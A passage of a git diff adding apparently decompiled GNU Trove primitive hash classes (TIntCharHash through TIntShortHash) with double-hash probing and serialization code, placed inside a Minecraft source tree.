+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(no_entry_key);
+    
+
+    out.writeByte(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readInt();
+    
+
+    no_entry_value = in.readByte();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TIntCharHash.java b/src/minecraft/gnu/trove/impl/hash/TIntCharHash.java
new file mode 100644
index 0000000..1c32fb1
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TIntCharHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TIntProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TIntCharHash
+  extends TPrimitiveHash
+{
+  public transient int[] _set;
+  protected int no_entry_key;
+  protected char no_entry_value;
+  
+  public TIntCharHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+  public TIntCharHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntCharHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TIntCharHash(int initialCapacity, float loadFactor, int no_entry_key, char no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(int val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(no_entry_key);
+    
+
+    out.writeChar(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readInt();
+    
+
+    no_entry_value = in.readChar();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TIntDoubleHash.java b/src/minecraft/gnu/trove/impl/hash/TIntDoubleHash.java
new file mode 100644
index 0000000..93ff3d2
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TIntDoubleHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TIntProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TIntDoubleHash
+  extends TPrimitiveHash
+{
+  public transient int[] _set;
+  protected int no_entry_key;
+  protected double no_entry_value;
+  
+  public TIntDoubleHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+  public TIntDoubleHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntDoubleHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TIntDoubleHash(int initialCapacity, float loadFactor, int no_entry_key, double no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(int val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(no_entry_key);
+    
+
+    out.writeDouble(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readInt();
+    
+
+    no_entry_value = in.readDouble();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TIntFloatHash.java b/src/minecraft/gnu/trove/impl/hash/TIntFloatHash.java
new file mode 100644
index 0000000..d18171f
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TIntFloatHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TIntProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TIntFloatHash
+  extends TPrimitiveHash
+{
+  public transient int[] _set;
+  protected int no_entry_key;
+  protected float no_entry_value;
+  
+  public TIntFloatHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+  public TIntFloatHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntFloatHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TIntFloatHash(int initialCapacity, float loadFactor, int no_entry_key, float no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(int val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(no_entry_key);
+    
+
+    out.writeFloat(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readInt();
+    
+
+    no_entry_value = in.readFloat();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TIntHash.java b/src/minecraft/gnu/trove/impl/hash/TIntHash.java
new file mode 100644
index 0000000..d2f66f2
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TIntHash.java
@@ -0,0 +1,292 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TIntProcedure;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TIntHash
+  extends TPrimitiveHash
+{
+  public transient int[] _set;
+  protected int no_entry_value;
+  
+  public TIntHash()
+  {
+    no_entry_value = Constants.DEFAULT_INT_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public TIntHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_INT_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_INT_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TIntHash(int initialCapacity, float loadFactor, int no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_value = no_entry_value;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(int val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(int val)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(int val)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == val)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != val));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TIntIntHash.java b/src/minecraft/gnu/trove/impl/hash/TIntIntHash.java
new file mode 100644
index 0000000..e181a04
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TIntIntHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TIntProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TIntIntHash
+  extends TPrimitiveHash
+{
+  public transient int[] _set;
+  protected int no_entry_key;
+  protected int no_entry_value;
+  
+  public TIntIntHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TIntIntHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntIntHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TIntIntHash(int initialCapacity, float loadFactor, int no_entry_key, int no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(int val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(no_entry_key);
+    
+
+    out.writeInt(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readInt();
+    
+
+    no_entry_value = in.readInt();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TIntLongHash.java b/src/minecraft/gnu/trove/impl/hash/TIntLongHash.java
new file mode 100644
index 0000000..3a702d6
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TIntLongHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TIntProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TIntLongHash
+  extends TPrimitiveHash
+{
+  public transient int[] _set;
+  protected int no_entry_key;
+  protected long no_entry_value;
+  
+  public TIntLongHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+  public TIntLongHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntLongHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TIntLongHash(int initialCapacity, float loadFactor, int no_entry_key, long no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(int val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(no_entry_key);
+    
+
+    out.writeLong(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readInt();
+    
+
+    no_entry_value = in.readLong();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TIntShortHash.java b/src/minecraft/gnu/trove/impl/hash/TIntShortHash.java
new file mode 100644
index 0000000..2c73837
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TIntShortHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TIntProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TIntShortHash
+  extends TPrimitiveHash
+{
+  public transient int[] _set;
+  protected int no_entry_key;
+  protected short no_entry_value;
+  
+  public TIntShortHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TIntShortHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntShortHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TIntShortHash(int initialCapacity, float loadFactor, int no_entry_key, short no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(int val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
